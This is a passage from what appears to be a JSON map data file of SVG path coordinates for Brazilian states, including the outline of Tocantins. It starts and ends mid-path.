97572.00 18691.67 97540.00 18681.00C97529.33 18691.67 97518.67 18702.33 97508.00 18713.00C97486.33 18702.33 97464.67 18691.67 97443.00 18681.00C97411.00 18702.33 97379.00 18723.67 97347.00 18745.00C97336.26 18745.06 97325.48 18744.89 97314.75 18745.08C97282.50 18755.72 97250.25 18766.36 97218.00 18777.00C97207.33 18766.33 97196.67 18755.67 97186.00 18745.00C97164.67 18745.00 97143.33 18745.00 97122.00 18745.00C97111.33 18734.33 97100.67 18723.67 97090.00 18713.00C97090.00 18723.67 97090.00 18734.33 97090.00 18745.00C97057.67 18745.00 97025.33 18745.00 96993.00 18745.00C96950.00 18734.33 96907.00 18723.67 96864.00 18713.00C96864.00 18702.33 96864.00 18691.67 96864.00 18681.00C96853.33 18670.00 96842.67 18659.00 96832.00 18648.00C96832.00 18637.33 96832.00 18626.67 96832.00 18616.00C96842.67 18605.33 96853.33 18594.67 96864.00 18584.00C96853.33 18562.67 96842.67 18541.33 96832.00 18520.00C96864.33 18498.33 96896.67 18476.67 96929.00 18455.00C96918.33 18455.00 96907.67 18455.00 96897.00 18455.00C96897.00 18444.33 96897.00 18433.67 96897.00 18423.00C96880.40 18406.86 96863.65 18390.87 96847.39 18374.39C96842.26 18369.26 96837.13 18364.13 96832.00 18359.00C96832.00 18316.00 96832.00 18273.00 96832.00 18230.00C96821.33 18208.67 96810.67 18187.33 96800.00 18166.00C96800.00 18144.67 96800.00 18123.33 96800.00 18102.00C96789.33 18091.33 96778.67 18080.67 96768.00 18070.00C96757.33 18016.33 96746.67 17962.67 96736.00 17909.00C96746.67 17909.00 96757.33 17909.00 96768.00 17909.00C96778.67 17887.67 96789.33 17866.33 96800.00 17845.00C96800.00 17834.00 96800.00 17823.00 96800.00 17812.00C96810.67 17812.00 96821.33 17812.00 96832.00 17812.00C96832.00 17790.67 96832.00 17769.33 96832.00 17748.00C96821.33 17737.33 96810.67 17726.67 96800.00 17716.00C96778.67 17716.00 96757.33 17716.00 96736.00 17716.00C96746.67 17694.67 96757.33 17673.33 96768.00 17652.00C96746.67 17641.00 96725.33 17630.00 96704.00 17619.00C96687.72 17602.75 96671.57 17586.36 96654.95 17570.46C96649.62 17565.21 96644.10 17560.10 96638.88 17554.77C96617.59 17512.18 96596.29 17469.59 96575.00 17427.00C96575.00 17405.33 96575.00 17383.67 96575.00 17362.00C96564.33 17351.33 96553.67 17340.67 96543.00 17330.00C96543.00 17308.67 96543.00 17287.33 96543.00 17266.00C96553.67 17266.00 96564.33 17266.00 96575.00 17266.00C96564.33 17223.00 96553.67 17180.00 96543.00 17137.00C96564.33 17126.33 96585.67 17115.67 96607.00 17105.00C96596.33 17083.67 96585.67 17062.33 96575.00 17041.00C96585.67 17019.33 96596.33 16997.67 96607.00 16976.00C96596.33 16965.33 96585.67 16954.67 96575.00 16944.00C96585.67 16944.00 96596.33 16944.00 96607.00 16944.00C96607.00 16922.67 96607.00 16901.33 96607.00 16880.00C96628.67 16869.33 96650.33 16858.67 96672.00 16848.00C96682.67 16837.33 96693.33 16826.67 96704.00 16816.00C96704.00 16805.00 96704.00 16794.00 96704.00 16783.00C96725.33 16772.33 96746.67 16761.67 96768.00 16751.00C96768.00 16740.33 96768.00 16729.67 96768.00 16719.00C96778.67 16708.33 96789.33 16697.67 96800.00 16687.00C96800.00 16665.67 96800.00 16644.33 96800.00 16623.00C96789.33 16623.00 96778.67 16623.00 96768.00 16623.00C96757.33 16601.33 96746.67 16579.67 96736.00 16558.00C96696.30 16518.15 96656.17 16478.74 96616.23 16439.13C96613.16 16435.99 96609.81 16433.01 96606.92 16429.75C96596.28 16397.50 96585.64 16365.25 96575.00 16333.00C96575.00 16301.00 96575.00 16269.00 96575.00 16237.00C96585.67 16226.33 96596.33 16215.67 96607.00 16205.00C96596.33 16194.33 96585.67 16183.67 96575.00 16173.00C96585.67 16151.33 96596.33 16129.67 96607.00 16108.00C96617.67 16108.00 96628.33 16108.00 96639.00 16108.00C96628.28 16075.93 96617.65 16043.82 96606.88 16011.77C96596.26 15990.18 96585.63 15968.59 96575.00 15947.00C96489.27 15850.61 96403.57 15754.19 96317.82 15657.82C96296.54 15636.54 96275.27 15615.27 96254.00 15594.00C96254.00 15572.67 96254.00 15551.33 96254.00 15530.00C96264.67 15519.00 96275.33 15508.00 96286.00 15497.00z"},"br-27":{"name":"Tocantins","path":"M115835.00 83244.00C115856.33 83201.33 115877.67 83158.67 115899.00 83116.00C115899.00 83073.00 115899.00 83030.00 115899.00 82987.00C115920.69 82944.22 115942.50 82901.50 115964.11 82858.68C115974.74 82826.45 115985.37 82794.23 115996.00 82762.00C115996.00 82740.67 115996.00 82719.33 115996.00 82698.00C116006.67 82676.34 116017.33 82654.66 116028.00 82633.00C116060.00 82601.00 116092.00 82569.00 116124.00 82537.00C116145.67 82526.33 116167.33 82515.67 116189.00 82505.00C116199.85 82440.12 116210.35 82375.18 116221.41 82310.35C116231.94 82267.90 116242.47 82225.45 116253.00 82183.00C116242.33 82151.00 116231.67 82119.00 116221.00 82087.00C116220.95 82065.56 116221.11 82044.12 116220.92 82022.67C116210.28 81979.78 116199.64 81936.89 116189.00 81894.00C116199.67 81862.00 116210.33 81830.00 116221.00 81798.00C116221.00 81776.33 116221.00 81754.67 116221.00 81733.00C116242.33 81722.33 116263.67 81711.67 116285.00 81701.00C116295.67 81669.00 116306.33 81637.00 116317.00 81605.00C116349.33 81583.33 116381.67 81561.67 116414.00 81540.00C116414.00 81529.33 116414.00 81518.67 116414.00 81508.00C116424.67 81486.67 116435.33 81465.33 116446.00 81444.00C116446.00 81401.00 116446.00 81358.00 116446.00 81315.00C116435.33 81293.67 116424.67 81272.33 116414.00 81251.00C116414.00 81208.00 116414.00 81165.00 116414.00 81122.00C116403.33 81090.00 116392.67 81058.00 116382.00 81026.00C116392.67 81004.67 116403.33 80983.33 116414.00 80962.00C116392.33 80908.33 116370.67 80854.67 116349.00 80801.00C116370.76 80768.60 116392.38 80736.10 116414.24 80703.76C116446.16 80671.84 116478.08 80639.92 116510.00 80608.00C116510.00 80586.33 116510.00 80564.67 116510.00 80543.00C116499.33 80521.67 116488.67 80500.33 116478.00 80479.00C116456.67 80468.33 116435.33 80457.67 116414.00 80447.00C116414.00 80393.33 116414.00 80339.67 116414.00 80286.00C116424.67 80264.67 116435.33 80243.33 116446.00 80222.00C116446.00 80211.33 116446.00 80200.67 116446.00 80190.00C116456.67 80179.34 116467.33 80168.66 116478.00 80158.00C116499.33 80158.00 116520.67 80158.00 116542.00 80158.00C116542.00 80125.67 116542.00 80093.33 116542.00 80061.00C116574.33 80007.33 116606.67 79953.67 116639.00 79900.00C116628.33 79868.00 116617.67 79836.00 116607.00 79804.00C116607.00 79782.67 116607.00 79761.33 116607.00 79740.00C116596.00 79718.33 116585.00 79696.67 116574.00 79675.00C116574.00 79643.00 116574.00 79611.00 116574.00 79579.00C116542.00 79557.67 116510.00 79536.33 116478.00 79515.00C116478.00 79493.33 116478.00 79471.67 116478.00 79450.00C116510.00 79418.00 116542.00 79386.00 116574.00 79354.00C116595.70 79321.56 116617.51 79289.18 116639.15 79256.70C116649.77 79235.47 116660.38 79214.23 116671.00 79193.00C116703.00 79193.00 116735.00 79193.00 116767.00 79193.00C116778.00 79182.33 116789.00 79171.67 116800.00 79161.00C116810.67 79128.67 116821.33 79096.33 116832.00 79064.00C116853.33 79032.00 116874.67 79000.00 116896.00 78968.00C116885.33 78935.67 116874.67 78903.33 116864.00 78871.00C116874.67 78839.00 116885.33 78807.00 116896.00 78775.00C116896.00 78743.00 116896.00 78711.00 116896.00 78679.00C116928.00 78668.00 116960.00 78657.00 116992.00 78646.00C117003.00 78646.00 117014.00 78646.00 117025.00 78646.00C117035.67 78635.34 117046.33 78624.66 117057.00 78614.00C117046.33 78582.00 117035.67 78550.00 117025.00 78518.00C117046.33 78410.67 117067.67 78303.33 117089.00 78196.00C117131.67 78174.67 117174.33 78153.33 117217.00 78132.00C117228.00 78110.67 117239.00 78089.33 117250.00 78068.00C117282.07 78046.24 117314.23 78024.61 117346.24 78002.76C117356.83 77992.17 117367.41 77981.59 117378.00 77971.00C117367.33 77939.00 117356.67 77907.00 117346.00 77875.00C117346.00 77864.33 117346.00 77853.67 117346.00 77843.00C117378.33 77768.00 117410.67 77693.00 117443.00 77618.00C117453.67 77564.33 117464.33 77510.67 117475.00 77457.00C117496.33 77403.33 117517.67 77349.67 117539.00 77296.00C117528.33 77221.00 117517.67 77146.00 117507.00 77071.00C117496.33 77071.00 117485.67 77071.00 117475.00 77071.00C117475.23 77059.70 117474.52 77048.34 117475.38 77037.09C117485.91 76984.06 117496.46 76931.03 117507.00 76878.00C117528.33 76835.00 117549.67 76792.00 117571.00 76749.00C117592.67 76727.67 117614.33 76706.33 117636.00 76685.00C117646.67 76653.00 117657.33 76621.00 117668.00 76589.00C117689.33 76567.33 117710.67 76545.67 117732.00 76524.00C117775.00 76502.67 117818.00 76481.33 117861.00 76460.00C117882.33 76438.66 117903.67 76417.34 117925.00 76396.00C117935.67 76363.67 117946.33 76331.33 117957.00 76299.00C117957.00 76256.33 117957.00 76213.67 117957.00 76171.00C117978.33 76138.66 117999.67 76106.34 118021.00 76074.00C118021.00 76052.67 118021.00 76031.33 118021.00 76010.00C118042.67 75977.67 118064.33 75945.33 118086.00 75913.00C118086.00 75870.33 118086.00 75827.67 118086.00 75785.00C118118.00 75720.67 118150.00 75656.33 118182.00 75592.00C118214.33 75559.66 118246.67 75527.34 118279.00 75495.00C118279.00 75473.67 118279.00 75452.33 118279.00 75431.00C118289.67 75420.34 118300.33 75409.66 118311.00 75399.00C118332.35 75335.00 118353.71 75271.01 118374.64 75206.87C118377.85 75193.00 118380.21 75178.93 118383.15 75164.99C118391.11 75125.00 118399.05 75085.00 118407.00 75045.00C118471.33 74970.00 118535.67 74895.00 118600.00 74820.00C118600.00 74798.67 118600.00 74777.33 118600.00 74756.00C118610.67 74745.34 118621.33 74734.66 118632.00 74724.00C118632.00 74691.67 118632.00 74659.33 118632.00 74627.00C118653.67 74595.00 118675.33 74563.00 118697.00 74531.00C118697.00 74488.00 118697.00 74445.00 118697.00 74402.00C118718.33 74391.33 118739.67 74380.67 118761.00 74370.00C118782.39 74327.25 118803.82 74284.50 118824.66 74241.48C118825.44 74236.11 118824.78 74230.45 118825.00 74224.97C118825.00 74198.31 118825.00 74171.66 118825.00 74145.00C118835.67 74123.67 118846.33 74102.33 118857.00 74081.00C118878.67 74059.34 118900.33 74037.66 118922.00 74016.00C118911.00 73984.00 118900.00 73952.00 118889.00 73920.00C118867.67 73887.66 118846.33 73855.34 118825.00 73823.00C118825.00 73812.33 118825.00 73801.67 118825.00 73791.00C118835.67 73791.00 118846.33 73791.00 118857.00 73791.00C118857.00 73748.33 118857.00 73705.67 118857.00 73663.00C118878.67 73588.00 118900.33 73513.00 118922.00 73438.00C118964.67 73395.00 119007.33 73352.00 119050.00 73309.00C119060.67 73266.00 119071.33 73223.00 119082.00 73180.00C119082.00 73115.67 119082.00 73051.33 119082.00 72987.00C119093.00 72944.33 119104.00 72901.67 119115.00 72859.00C119115.00 72848.33 119115.00 72837.67 119115.00 72827.00C119157.42 72783.76 119200.05 72740.72 119243.00 72698.00C119275.33 72687.33 119307.67 72676.67 119340.00 72666.00C119350.67 72601.67 119361.33 72537.33 119372.00 72473.00C119414.67 72473.00 119457.33 72473.00 119500.00 72473.00C119543.00 72419.33 119586.00 72365.67 119629.00 72312.00C119682.67 72269.34 119736.33 72226.66 119790.00 72184.00C119790.00 72151.67 119790.00 72119.33 119790.00 72087.00C119800.84 72075.94 119812.16 72065.29 119822.69 72053.97C119865.50 71989.87 119908.40 71925.84 119951.15 71861.70C119972.50 71818.75 119994.25 71775.98 120015.36 71732.93C120025.91 71700.95 120036.45 71668.98 120047.00 71637.00C120047.00 71615.67 120047.00 71594.33 120047.00 71573.00C120057.67 71540.67 120068.33 71508.33 120079.00 71476.00C120164.67 71401.00 120250.33 71326.00 120336.00 71251.00C120347.06 71218.90 120358.02 71186.77 120369.15 71154.70C120390.43 71111.80 120411.72 71068.90 120433.00 71026.00C120454.38 71004.56 120475.89 70983.24 120497.19 70961.72C120518.46 70929.48 120539.73 70897.24 120561.00 70865.00C120582.74 70854.24 120604.58 70843.67 120626.26 70832.78C120701.17 70768.52 120776.09 70704.26 120851.00 70640.00C120915.33 70618.67 120979.67 70597.33 121044.00 70576.00C121086.67 70576.00 121129.33 70576.00 121172.00 70576.00C121204.33 70565.33 121236.67 70554.67 121269.00 70544.00C121279.75 70522.25 121290.36 70500.43 121301.20 70478.73C121333.62 70435.34 121366.36 70392.18 121398.57 70348.65C121442.41 70283.22 121485.94 70217.59 121529.98 70152.30C121604.59 70045.40 121679.45 69938.66 121753.90 69831.65C121774.27 69801.10 121794.64 69770.55 121815.00 69740.00C121826.00 69697.00 121837.00 69654.00 121848.00 69611.00C121869.33 69589.66 121890.67 69568.34 121912.00 69547.00C121922.67 69515.00 121933.33 69483.00 121944.00 69451.00C122008.33 69397.33 122072.67 69343.67 122137.00 69290.00C122158.33 69257.66 122179.67 69225.34 122201.00 69193.00C122201.13 69171.07 122200.74 69149.12 122201.19 69127.21C122211.80 69031.47 122222.40 68935.74 122233.00 68840.00C122244.07 68817.96 122255.54 68796.09 122266.36 68773.93C122276.91 68742.29 122287.45 68710.65 122298.00 68679.00C122340.67 68614.67 122383.33 68550.33 122426.00 68486.00C122437.00 68486.00 122448.00 68486.00 122459.00 68486.00C122501.99 68464.39 122545.18 68443.14 122588.04 68421.30C122620.09 68399.77 122652.24 68378.38 122684.24 68356.76C122705.49 68335.50 122726.75 68314.26 122748.00 68293.00C122769.49 68238.75 122791.24 68184.61 122812.57 68130.30C122823.04 68098.75 122833.68 68067.25 122844.04 68035.67C122855.03 67950.11 122866.01 67864.55 122877.00 67779.00C122935.25 67662.07 122993.25 67545.02 123051.46 67428.08C123057.54 67415.67 123064.11 67403.46 123069.73 67390.85C123080.50 67359.12 123091.37 67327.42 123102.07 67295.67C123112.71 67242.45 123123.36 67189.22 123134.00 67136.00C123123.33 67103.67 123112.67 67071.33 123102.00 67039.00C123112.67 67017.67 123123.33 66996.33 123134.00 66975.00C123134.00 66942.67 123134.00 66910.33 123134.00 66878.00C123144.67 66867.34 123155.33 66856.66 123166.00 66846.00C123166.00 66835.33 123166.00 66824.67 123166.00 66814.00C123187.33 66803.33 123208.67 66792.67 123230.00 66782.00C123240.67 66760.67 123251.33 66739.33 123262.00 66718.00C123262.00 66643.00 123262.00 66568.00 123262.00 66493.00C123251.33 66439.33 123240.67 66385.67 123230.00 66332.00C123251.67 66299.67 123273.33 66267.33 123295.00 66235.00C123295.00 66192.33 123295.00 66149.67 123295.00 66107.00C123305.67 66064.00 123316.33 66021.00 123327.00 65978.00C123316.35 65902.89 123305.57 65827.79 123295.00 65752.66C123295.00 65709.78 123295.00 65666.89 123295.00 65624.00C123305.69 65613.21 123316.59 65602.62 123327.15 65591.70C123337.77 65570.47 123348.38 65549.23 123359.00 65528.00C123359.00 65517.33 123359.00 65506.67 123359.00 65496.00C123348.33 65474.33 123337.67 65452.67 123327.00 65431.00C123305.21 65420.33 123283.51 65409.48 123261.67 65398.92C123219.11 65388.28 123176.56 65377.64 123134.00 65367.00C123101.67 65345.67 123069.33 65324.33 123037.00 65303.00C123005.00 65260.00 122973.00 65217.00 122941.00 65174.00C122908.31 65152.32 122875.41 65130.95 122842.86 65109.08C122789.91 65066.38 122736.95 65023.69 122684.00 64981.00C122641.00 64959.67 122598.00 64938.33 122555.00 64917.00C122533.67 64895.67 122512.33 64874.33 122491.00 64853.00C122479.56 64829.33 122467.42 64805.99 122456.45 64782.09C122424.97 64709.06 122393.48 64636.03 122362.00 64563.00C122362.00 64552.33 122362.00 64541.67 122362.00 64531.00C122330.00 64466.67 122298.00 64402.33 122266.00 64338.00C122266.03 64305.89 122265.94 64273.78 122266.04 64241.67C122276.69 64156.11 122287.35 64070.56 122298.00 63985.00C122319.33 63974.00 122340.67 63963.00 122362.00 63952.00C122383.33 63909.33 122404.67 63866.67 122426.00 63824.00C122469.09 63770.26 122512.10 63716.46 122555.24 63662.76C122640.83 63577.18 122726.41 63491.58 122812.00 63406.00C122812.00 63395.33 122812.00 63384.67 122812.00 63374.00C122834.35 63340.84 122856.34 63307.44 122878.92 63274.44C122938.90 63194.58 122998.76 63114.63 123058.27 63034.42C123062.26 63027.92 123069.07 63022.78 123070.29 63014.96C123080.86 62973.64 123091.43 62932.32 123102.00 62891.00C123134.00 62837.67 123166.00 62784.33 123198.00 62731.00C123208.67 62698.67 123219.33 62666.33 123230.00 62634.00C123219.34 62591.22 123208.55 62548.47 123197.96 62505.67C123187.32 62409.00 123176.58 62312.34 123166.00 62215.66C123166.00 62044.44 123166.00 61873.22 123166.00 61702.00C123144.67 61627.00 123123.33 61552.00 123102.00 61477.00C123091.00 61466.00 123080.00 61455.00 123069.00 61444.00C123069.00 61390.67 123069.00 61337.33 123069.00 61284.00C123080.00 61262.33 123091.00 61240.67 123102.00 61219.00C123134.00 61187.00 123166.00 61155.00 123198.00 61123.00C123208.67 61101.67 123219.33 61080.33 123230.00 61059.00C123241.01 61058.77 123252.14 61059.47 123263.08 61058.63C123295.38 61047.54 123327.84 61036.82 123360.05 61025.48C123424.03 60993.65 123488.02 60961.83 123552.00 60930.00C123594.67 60887.00 123637.33 60844.00 123680.00 60801.00C123744.33 60758.33 123808.67 60715.67 123873.00 60673.00C123894.71 60651.22 123916.55 60629.57 123938.19 60607.72C123959.46 60575.82 123980.73 60543.91 124002.00 60512.00C124077.00 60512.00 124152.00 60512.00 124227.00 60512.00C124275.79 60487.61 124324.89 60463.82 124373.46 60439.00C124410.21 60419.90 124447.15 60401.19 124484.33 60382.94C124548.55 60372.30 124612.78 60361.65 124677.00 60351.00C124773.33 60351.00 124869.67 60351.00 124966.00 60351.00C125019.67 60329.67 125073.33 60308.33 125127.00 60287.00C125137.67 60287.00 125148.33 60287.00 125159.00 60287.00C125180.67 60265.67 125202.33 60244.33 125224.00 60223.00C125256.00 60169.33 125288.00 60115.67 125320.00 60062.00C125405.67 60040.67 125491.33 60019.33 125577.00 59998.00C125609.33 59976.33 125641.67 59954.67 125674.00 59933.00C125695.33 59890.33 125716.67 59847.67 125738.00 59805.00C125738.00 59762.00 125738.00 59719.00 125738.00 59676.00C125716.67 59611.67 125695.33 59547.33 125674.00 59483.00C125674.00 59461.67 125674.00 59440.33 125674.00 59419.00C125684.67 59386.67 125695.33 59354.33 125706.00 59322.00C125727.33 59300.67 125748.67 59279.33 125770.00 59258.00C125770.00 59226.00 125770.00 59194.00 125770.00 59162.00C125791.76 59129.60 125813.38 59097.10 125835.24 59064.76C125845.85 59054.05 125856.67 59043.54 125867.15 59032.70C125888.43 58989.80 125909.72 58946.90 125931.00 58904.00C126006.00 58839.67 126081.00 58775.33 126156.00 58711.00C126177.33 58700.33 126198.67 58689.67 126220.00 58679.00C126252.33 58647.00 126284.67 58615.00 126317.00 58583.00C126328.02 58560.93 126338.56 58538.60 126349.87 58516.69C126371.01 58485.06 126392.01 58453.33 126413.24 58421.76C126423.83 58411.18 126434.41 58400.58 126445.00 58390.00C126531.00 58390.00 126617.00 58390.00 126703.00 58390.00C126735.00 58400.67 126767.00 58411.33 126799.00 58422.00C126842.11 58454.04 126885.13 58486.19 126928.30 58518.15C126949.53 58529.10 126970.77 58540.05 126992.00 58551.00C127002.67 58540.00 127013.33 58529.00 127024.00 58518.00C127034.67 58475.33 127045.33 58432.67 127056.00 58390.00C127045.33 58357.67 127034.67 58325.33 127024.00 58293.00C127013.21 58282.31 127002.62 58271.42 126991.70 58260.85C126949.13 58239.57 126906.57 58218.28 126864.00 58197.00C126853.00 58175.67 126842.00 58154.33 126831.00 58133.00C126831.00 58122.33 126831.00 58111.67 126831.00 58101.00C126842.00 58090.00 126853.00 58079.00 126864.00 58068.00C126853.00 58046.67 126842.00 58025.33 126831.00 58004.00C126820.17 57949.99 126809.70 57895.89 126798.64 57841.93C126788.09 57810.29 126777.55 57778.64 126767.00 57747.00C126767.00 57682.67 126767.00 57618.33 126767.00 57554.00C126810.00 57511.00 126853.00 57468.00 126896.00 57425.00C126917.33 57414.33 126938.67 57403.67 126960.00 57393.00C127003.00 57403.67 127046.00 57414.33 127089.00 57425.00C127142.33 57403.67 127195.67 57382.33 127249.00 57361.00C127292.21 57328.71 127335.69 57296.75 127378.74 57264.25C127399.82 57242.83 127420.91 57221.42 127442.00 57200.00C127452.67 57168.00 127463.33 57136.00 127474.00 57104.00C127474.00 57082.33 127474.00 57060.67 127474.00 57039.00C127442.00 56996.33 127410.00 56953.67 127378.00 56911.00C127335.00 56900.33 127292.00 56889.67 127249.00 56879.00C127238.33 56868.33 127227.67 56857.67 127217.00 56847.00C127217.00 56825.33 127217.00 56803.67 127217.00 56782.00C127228.02 56760.26 127238.58 56738.27 127249.88 56716.69C127271.35 56684.72 127292.68 56652.67 127314.24 56620.76C127335.49 56599.50 127356.75 56578.26 127378.00 56557.00C127399.33 56546.33 127420.67 56535.67 127442.00 56525.00C127506.33 56514.33 127570.67 56503.67 127635.00 56493.00C127667.33 56471.67 127699.67 56450.33 127732.00 56429.00C127732.00 56386.00 127732.00 56343.00 127732.00 56300.00C127710.33 56267.67 127688.67 56235.33 127667.00 56203.00C127667.00 56192.33 127667.00 56181.67 127667.00 56171.00C127624.33 56128.33 127581.67 56085.67 127539.00 56043.00C127517.24 56010.60 127495.62 55978.10 127473.76 55945.76C127463.17 55935.18 127452.59 55924.58 127442.00 55914.00C127441.68 55901.84 127442.71 55889.60 127441.36 55877.50C127430.92 55803.89 127420.36 55730.29 127410.00 55656.66C127410.00 55603.11 127410.00 55549.56 127410.00 55496.00C127431.54 55453.10 127452.87 55410.10 127474.00 55367.00C127495.67 55356.33 127517.33 55345.67 127539.00 55335.00C127614.00 55345.67 127689.00 55356.33 127764.00 55367.00C127796.00 55356.33 127828.00 55345.67 127860.00 55335.00C127870.67 55335.00 127881.33 55335.00 127892.00 55335.00C127903.12 55324.31 127914.06 55313.42 127925.30 55302.85C127946.53 55292.23 127967.77 55281.62 127989.00 55271.00C128010.47 55238.61 128032.28 55206.43 128053.54 55173.92C128089.71 55101.71 128126.31 55029.71 128162.14 54957.33C128168.76 54943.89 128175.38 54930.44 128182.00 54917.00C128182.00 54863.67 128182.00 54810.33 128182.00 54757.00C128117.56 54713.96 128053.18 54670.83 127988.70 54627.85C127967.47 54617.23 127946.23 54606.62 127925.00 54596.00C127903.77 54575.62 127882.78 54554.99 127862.31 54533.84C127850.87 54522.23 127839.44 54510.61 127828.00 54499.00C127795.89 54498.96 127763.78 54499.09 127731.67 54498.93C127678.11 54488.29 127624.56 54477.64 127571.00 54467.00C127528.47 54445.60 127485.76 54424.54 127443.08 54403.46C127438.22 54399.96 127434.46 54395.07 127430.02 54391.03C127422.96 54383.85 127415.57 54376.94 127408.85 54369.46C127376.94 54326.76 127345.37 54283.78 127313.25 54241.27C127302.50 54230.85 127291.75 54220.42 127281.00 54210.00C127281.00 54220.67 127281.00 54231.33 127281.00 54242.00C127281.00 54220.67 127281.00 54199.33 127281.00 54178.00C127259.63 54145.56 127238.16 54113.18 127216.85 54080.70C127206.23 54059.47 127195.62 54038.23 127185.00 54017.00C127185.00 53985.00 127185.00 53953.00 127185.00 53921.00C127153.06 53888.61 127121.28 53856.06 127089.00 53824.00C127078.00 53802.67 127067.00 53781.33 127056.00 53760.00C127034.67 53749.33 127013.33 53738.67 126992.00 53728.00C126981.33 53728.00 126970.67 53728.00 126960.00 53728.00C126949.33 53749.33 126938.67 53770.67 126928.00 53792.00C126895.67 53781.33 126863.33 53770.67 126831.00 53760.00C126799.00 53770.67 126767.00 53781.33 126735.00 53792.00C126724.33 53792.00 126713.67 53792.00 126703.00 53792.00C126692.33 53802.67 126681.67 53813.33 126671.00 53824.00C126649.33 53824.00 126627.67 53824.00 126606.00 53824.00C126595.33 53834.67 126584.67 53845.33 126574.00 53856.00C126542.00 53866.67 126510.00 53877.33 126478.00 53888.00C126455.82 53887.86 126433.62 53888.29 126411.45 53887.78C126336.85 53877.20 126262.27 53866.50 126187.66 53856.00C126112.77 53856.00 126037.89 53856.00 125963.00 53856.00C125920.33 53845.33 125877.67 53834.67 125835.00 53824.00C125813.33 53781.00 125791.67 53738.00 125770.00 53695.00C125758.90 53694.79 125747.72 53695.43 125736.67 53694.67C125694.45 53684.11 125652.22 53673.56 125610.00 53663.00C125545.67 53663.00 125481.33 53663.00 125417.00 53663.00C125417.00 53652.33 125417.00 53641.67 125417.00 53631.00C125395.33 53631.00 125373.67 53631.00 125352.00 53631.00C125330.67 53620.33 125309.33 53609.67 125288.00 53599.00C125277.33 53588.33 125266.67 53577.67 125256.00 53567.00C125256.00 53545.67 125256.00 53524.33 125256.00 53503.00C125277.33 53513.67 125298.67 53524.33 125320.00 53535.00C125330.67 53524.33 125341.33 53513.67 125352.00 53503.00C125384.33 53513.67 125416.67 53524.33 125449.00 53535.00C125459.67 53524.33 125470.33 53513.67 125481.00 53503.00C125491.67 53460.00 125502.33 53417.00 125513.00 53374.00C125523.79 53363.31 125534.38 53352.42 125545.30 53341.85C125566.87 53331.24 125588.43 53320.62 125610.00 53310.00C125652.67 53320.67 125695.33 53331.33 125738.00 53342.00C125759.33 53352.67 125780.67 53363.33 125802.00 53374.00C125813.00 53395.33 125824.00 53416.67 125835.00 53438.00C125867.00 53448.67 125899.00 53459.33 125931.00 53470.00C125973.76 53427.09 126016.99 53384.66 126060.00 53342.00C126081.33 53288.33 126102.67 53234.67 126124.00 53181.00C126124.00 53149.00 126124.00 53117.00 126124.00 53085.00C126134.67 53052.67 126145.33 53020.33 126156.00 52988.00C126156.00 52966.67 126156.00 52945.33 126156.00 52924.00C126188.33 52881.00 126220.67 52838.00 126253.00 52795.00C126285.00 52773.67 126317.00 52752.33 126349.00 52731.00C126402.67 52741.67 126456.33 52752.33 126510.00 52763.00C126542.00 52741.67 126574.00 52720.33 126606.00 52699.00C126767.00 52677.33 126928.00 52655.67 127089.00 52634.00C127110.59 52645.30 127132.49 52656.10 127153.89 52667.71C127207.26 52710.14 127260.63 52752.57 127314.00 52795.00C127356.67 52795.00 127399.33 52795.00 127442.00 52795.00C127474.44 52816.37 127506.83 52837.83 127539.30 52859.15C127600.67 52890.20 127661.77 52921.80 127723.62 52951.88C127729.19 52955.64 127735.39 52956.69 127742.00 52956.00C127749.33 52956.00 127756.67 52956.00 127764.00 52956.00C127785.33 52977.33 127806.67 52998.67 127828.00 53020.00C127860.43 53030.73 127892.90 53041.34 127925.30 53052.15C127946.53 53063.10 127967.77 53074.05 127989.00 53085.00C128096.00 53095.67 128203.00 53106.33 128310.00 53117.00C128353.00 53127.67 128396.00 53138.33 128439.00 53149.00C128492.67 53138.33 128546.33 53127.67 128600.00 53117.00C128653.67 53063.33 128707.33 53009.67 128761.00 52956.00C128793.11 52956.04 128825.22 52955.91 128857.33 52956.07C128910.89 52966.71 128964.44 52977.36 129018.00 52988.00C129060.67 52988.00 129103.33 52988.00 129146.00 52988.00C129221.33 53020.33 129296.67 53052.67 129372.00 53085.00C129382.74 53106.71 129393.86 53128.25 129404.36 53150.07C129414.91 53181.71 129425.45 53213.36 129436.00 53245.00C129436.00 53320.00 129436.00 53395.00 129436.00 53470.00C129478.76 53523.74 129521.43 53577.54 129564.24 53631.24C129585.83 53652.49 129607.41 53673.75 129629.00 53695.00C129682.33 53695.00 129735.67 53695.00 129789.00 53695.00C129832.00 53684.33 129875.00 53673.67 129918.00 53663.00C129961.00 53663.00 130004.00 53663.00 130047.00 53663.00C130132.67 53716.67 130218.33 53770.33 130304.00 53824.00C130336.00 53834.67 130368.00 53845.33 130400.00 53856.00C130475.00 53920.33 130550.00 53984.67 130625.00 54049.00C130689.33 54070.67 130753.67 54092.33 130818.00 54114.00C130839.67 54103.00 130861.33 54092.00 130883.00 54081.00C130893.67 54081.00 130904.33 54081.00 130915.00 54081.00C131011.33 54177.67 131107.67 54274.33 131204.00 54371.00C131225.67 54435.33 131247.33 54499.67 131269.00 54564.00C131269.00 54617.33 131269.00 54670.67 131269.00 54724.00C131279.67 54767.00 131290.33 54810.00 131301.00 54853.00C131301.00 54917.33 131301.00 54981.67 131301.00 55046.00C131279.03 55121.80 131257.32 55197.69 131235.18 55273.44C131224.78 55304.63 131214.40 55335.81 131204.00 55367.00C131225.67 55410.00 131247.33 55453.00 131269.00 55496.00C131290.33 55517.33 131311.67 55538.67 131333.00 55560.00C131375.67 55656.67 131418.33 55753.33 131461.00 55850.00C131472.00 55903.67 131483.00 55957.33 131494.00 56011.00C131504.67 56021.67 131515.33 56032.33 131526.00 56043.00C131526.00 56150.00 131526.00 56257.00 131526.00 56364.00C131493.67 56460.67 131461.33 56557.33 131429.00 56654.00C131450.67 56686.00 131472.33 56718.00 131494.00 56750.00C131504.67 56793.00 131515.33 56836.00 131526.00 56879.00C131526.00 56921.67 131526.00 56964.33 131526.00 57007.00C131515.33 57050.00 131504.67 57093.00 131494.00 57136.00C131505.22 57181.75 131516.94 57227.39 131527.82 57273.22C131548.55 57366.81 131569.27 57460.41 131590.00 57554.00C131611.33 57607.67 131632.67 57661.33 131654.00 57715.00C131675.67 57747.00 131697.33 57779.00 131719.00 57811.00C131729.67 57843.33 131740.33 57875.67 131751.00 57908.00C131751.00 57961.33 131751.00 58014.67 131751.00 58068.00C131708.00 58154.00 131665.00 58240.00 131622.00 58326.00C131621.77 58337.30 131622.48 58348.66 131621.62 58359.91C131610.78 58413.59 131600.32 58467.35 131589.26 58520.99C131568.16 58605.99 131547.08 58691.00 131526.00 58776.00C131515.33 58786.67 131504.67 58797.33 131494.00 58808.00C131526.00 